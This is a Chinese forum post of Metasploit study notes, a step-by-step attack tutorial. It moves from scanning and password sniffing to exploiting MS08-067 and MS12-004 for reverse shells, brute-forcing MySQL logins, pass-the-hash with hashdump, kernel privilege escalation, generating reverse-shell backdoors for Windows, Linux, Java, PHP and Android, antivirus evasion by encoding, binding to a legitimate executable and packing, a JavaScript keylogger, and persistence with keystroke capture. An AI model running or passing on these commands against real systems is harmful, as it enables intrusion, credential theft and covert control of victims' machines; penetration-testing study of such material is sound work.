metasploit第一,二季学习笔记(羽翼)

jingxie   ·   发表于 2020-03-13 14:53:56   ·   技术文章
 ** 第一季**

启动

  • msfconsole

更新

  • ./msfupdate

退回上一级

  • quit

1.端口扫描:

调用Nmap扫描:可以参照一篇详细的文章戳我

基础扫描:

  • nmap -v -sV 加上要扫描的ip

调用msf模块扫描

使用search参数搜索相关模块:

  • search portscan

使用use参数调用其中一个模块进行搜索

  • use auxiliary/scanner/portscan/syn

使用show options参数设置模块详细参数

  • show options

通过set参数设置模块参数

  • set INTERFACE 网卡(ip)
  • set PORTS 端口

通过run参数开始扫描

  • run

注:- Ctrl+c可以暂停扫描

2.SMB扫描_获取系统信息

启动

  • msfconsile

通过use参数启动smb扫描模块

  • use auxiliary/scanner/smb/smb_version

通过 show options参数设置模块参数

  • show options

需要设置的参数有ip和线程

  • set RHOST IP(你需要扫描的ip) set THREADS 10(线程一般是10,根据你电脑配置而定)

通过run参数启动模块

  • run
  • 注:smb模块也可以扫描ip段,假如ip是192.168.1.1,要扫描多个ip可以set RHOS 192.168.1.1-200

3.服务识别(ssh)

启动

  • msfconsole

通过use参数启动服务识别模块

  • use auxiliary/scanner/ssh/ssh_version

通过 show options参数设置模块参数

  • show options

通过 show options参数设置模块参数

  • show options

需要设置ip

  • set RHOST IP(你需要扫描的ip),也可以扫描多个ip,只需要在要扫描的ip后面加上另一个IP就行了

通过run参数启动模块

  • run

识别FTP的除了需要调用的模块不一样以外其他的都一样,就简单给出参数了。。。。。

调用;

  • use auxiliary/scanner/ftp/ftp_version
    设置参数:
  • show options
    如果知道对方FTP账号就可以设置这个参数
  • set FTPUSER
    设置ip
  • set RHOST IP
    启动模块
  • run

4.密码嗅探

启动

  • msfconsole

调用模块

  • use auxiliary/sniffer/psnuffle

设置参数

  • show options

不需要设置。。。。呵呵呵呵

通过run参数启动模块

  • run

5.SNMP扫描与枚举

启动

  • msfconsole

搜索模块

  • search snmp

调用扫描模块

  • use auxiliary/scanner/snmp/snmp_login

设置参数

  • show options

需要设置的参数有ip和线程

  • set RHOST IP(你需要扫描的ip) set THREADS 10(线程一般是10,根据你电脑配置而定)

通过run参数启动模块

  • run

调用枚举模块

  • use auxiliary/scanner/snmp/snmp_enum

设置参数

  • show options

需要设置的参数有ip和线程

  • set RHOST IP(你需要扫描的ip) set THREADS 10(线程一般是10,根据你电脑配置而定)

通过run参数启动模块

  • run

6.SMB登陆验证

启动

  • msfconsole

调用模块

  • use auxiliary/scanner/vnc/vnc_none_auth

设置参数

  • show options

需要设置的参数有ip和线程,登录账号

  • set RHOST IP(你需要扫描的ip/24) set THREADS 100(线程一般默认就好,电脑配置高的可以设置大) set SMBUser administraor(登录名可以自定义)

通过run参数启动模块

  • run

7.VNC身份验证

启动

  • msfconsole

调用模块

  • use auxiliary/scanner/vnc/vnc_none_auth

设置参数

  • show options

需要设置的参数有ip和线程

  • set RHOST IP(你需要扫描的ip) set THREADS 100(线程50-100,自己定义吧,端口一般默认不用自己设置)

通过run参数启动模块

  • run

    第二季

1.远程代码执行

启动

  • msfconsole

搜索漏洞

  • search 08-067

调用模块

  • use exploit/windows/smb/ms08_067_netapi

设置参数

  • show options

需要设置被攻击者ip

  • set RHOST IP

设置攻击载荷

  • show payloads

调用攻击载荷

  • set payload windows/meterpreter/reverse_tcp(最好背下来,因为是常用载荷,直接拼出来就不用找,找起来太费时)

设置参数

  • show options

需要设置本地ip

  • set LHOST ip

每次设置完最好都能重新查看一下是否设置成功

  • show options

用info查看漏洞详情及影响版本

  • info

当然如果不知道被攻击者服务器版本可以用namp查看服务器版本号

  • nmap -O ip

只有08-067需要设置版本号,其他都可以自动识别版本号

  • set target 编号

再次检查

  • show options

开始利用漏洞

  • exploit

可以看到反弹,直接shell

  • shell

在cmd下添加一个账户

  • net user admin admin /add

提供入侵常用cmd一份~~~戳我

2.MJDJ文件解析远程代码执行

启动

  • msfconsole

搜索漏洞

  • search 12-004

调用模块

  • use exploit/windows/browser/ms12_004_midi

设置参数

  • show options

需要设置ip

  • set SRVHOST IP

可以修改伪装

  • set URIPATH /(可以是反斜杠也可以是文字,例如:好看的电影)

再次检查参数

  • show option

开始生成

  • exploit

如果出现端口被占用那么我们还需要修改端口

  • set LPORT 1244

再次检查参数

  • show option

开始生成

  • exploit

等待被攻击者机器连接。。。。。连接上了,我们查看会话

  • sessions

看到有一个会话,选择id连接会话

  • sessions -i id(id是1就选1)

获得shell

  • shell

然后想干嘛就干嘛咯

3.口令安全

启动

  • msfconsole

搜索模块

  • serach msql_login(这两个模块也都有,可以根据实际情况而定,格式是xxx_login(这个单词直译就是登录),ssh_login,ftp_login)

调用模块

  • use auxiliary/scanner/mysql/mysql_login

设置参数

  • show options

需要设置的参数有ip,用户名,字典,线程

  • set RHOST IP(被攻击者)
  • set USERNAME root
  • set PASS_FILE 字典路径
  • set THREAD 50

再次检查参数

  • show option

然后开始

  • exploit(如果成功了,就可以得出用户名和密码了,直接命令连接即可)

4.hash值传递渗透(相关内容戳我)

启动

  • msfconsole

调用模块

  • use/windows/smb/psexec

设置参数

  • show options

需要设置的参数有ip和用户名

  • set RHOST IP(被攻击者)
  • set SMMBUSER 用户名

再次检查参数

  • show option

执行

  • exploit

查看哈希值,复制它

  • hashdump

退出

  • exit

使用哈希值登录

  • set smbpass hash

执行

  • exploit

5.NDP内核提权(基于漏洞给低权限提权的会话)

  • 前提条件有一个已经连接的的会话(session),但是其权限低

搜索提权模块

  • serarch 14-002

调用模块

  • use exploit/windows/local/ms_ndproxy

设置参数

  • show options

设置会话id提权

  • set session 1(id)

再次检查参数

  • show option

执行

  • exploit

提权完成后使用getuid查看当前权限

  • getuid

也可以获得shell之后使用get进行提权

  • getsystem

6.多种后门的生成

启动

  • msfconsole

a.Windows后门生成

  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=本机ip LPORT=端口 -f (格式)exe -o /((路径)自定义.exe

不要先发给被攻击者或者运行,要创建会话监听便于接受shell,搜索模块

  • search handler

调用模块

  • use exploit/mulit/handler

设置参数

  • show options

参数设置为创建所用的模块后门的参数

  • set payload windows/meterpreter/reverse_tcp
  • set LHOST IP
  • set LPORT 端口

创建会话监听完成,可以把生成的后门发给被攻击者了

b.linux生成后门

  • msfpayload linux/x86/shell_reverse_tcp LHOST=IP LPORT=端口 X >linux

这里为了方便直接给靶机里的Linux777权限,列出目录,然后运行

  • chmod 777 linux
  • ls
  • ./linux

注意端口不能重复

一样的,设置会话监听

  • search handler

调用模块

  • use exploit/mulit/handler

设置参数

  • show options

参数设置为创建所用的模块后门的参数

  • set payload linux/x86/shell_reverse_tcp LHOST=IP LPORT=端口 X >linux

  • set LHOST IP

  • set LPORT 端口

举一反三,java,php,等等的就给出代码参考

  • a.java后门的生成
  • msfpayload java/meterpreter/shell_reverse_tvp LHOST=IP LPORT=端口 W >123.jar
  • d.php后门的生成
  • msfpayload java/meterpreter/shell_reverse_tcp LHOST=IP LPORT=端口 R | msfencode -e php/baes64 -t raw -o 123.php
  • 上传到目标站-本地监听-目标访问服务器
  • c.安桌后门的生成
  • msfpayload android/meterpreter/shell_reverse_tcp LHOST=IP LPORT=端口 R >1.apk
  • 目标运行1.apk
  • 本地监听

7.内网渗透(获得shell前提下)

启动

  • msfconsole

获得shell扫描c段

  • run get_local_subnets 获取网卡
  • run autoroute -s ip 扫描c段

在有域的情况下,劫持域管理

  • 调用:use incognito
  • 设置:impersonate_token 域
  • shell

调用嗅探模块

  • use auxiliary/sniffer/psnuffle
  • run

8.反反病毒(免杀)

启动

  • msfconsole

生成后门,以Windows为例,调用模块免杀

  • msfpaylad windows/shell/reverse_tcp LHOST=192.168.48.130 LPORT=1111 R| msfencode -e x86/shikata_ga_nai - t exe>123.exe

多次免杀(有时候多次免杀效果反而不好,因为免杀与次数无关)

  • msfpaylad windows/shell/reverse_tcp LHOST=192.168.48.130 LPORT=1111 R| msfencode -e x86/shikata_ga_nai -c 10 - t raw | msfencode -e x86/countdown -c 5 -t exe -o /1231.exe 10和5为免杀次数

绑定正常文件免杀

  • msfpaylad windows/shell/reverse_tcp LHOST=192.168.48.130 LPORT=1111 R| msfencode -t exe -x /root/ftp.exe -o 123123.exe -e x86/shikata_ga_nai - k -c 10

加壳

  • upx -5 /1231.exe

9.不一样的xss(键盘记录)

启动

  • msfconsole

搜索模块

  • search keylogger

调用模块

  • use auxiliary/server/capture/http_javascript_keyloger

设置参数

  • show options

需要设置的参数有页面,这里启动启动官方演示

  • set DEMO true(意思是官方演示)
  • set URIPATH /(设置url)
  • set srvport 80(端口)

生成

  • run

10.维持访问(访问后门)

启动

  • msfconsole

调用模块

  • use exploit/multi/handler

生成payload方便连接会话

  • set payload windows/meterpreter/reverse_tcp

设置参数

  • show options

设置ip,端口

  • set LHOST IP
  • SET LPORT 1111

运行

  • run

获得后门

  • run metsvs -A

举例。。。。假如过段时间还想再次连接机器可以调用同样的模块,但是需要设置的东西就不一样了

调用模块

  • use exploit/multi/handler

生成payload

  • set payload windows/meterpreter/metsvs_bind_tcp

设置参数

  • show options

需要设置刚刚创建payload的端口和对方ip

  • set LPORT 31337
  • set RHOST IP

执行

  • exploit

可以启用键盘记录方便记录管理员密码

  • keyscan_start(键盘记录)
  • keyscan_dump(查看记录)

msfconsole的模块多种多样,看个人怎么留后门

附上我看好的一篇学习笔记戳我
————————————————
原创禁转

打赏我,让我更有动力~

0 条回复   |  直到 2020-3-13 | 2851 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.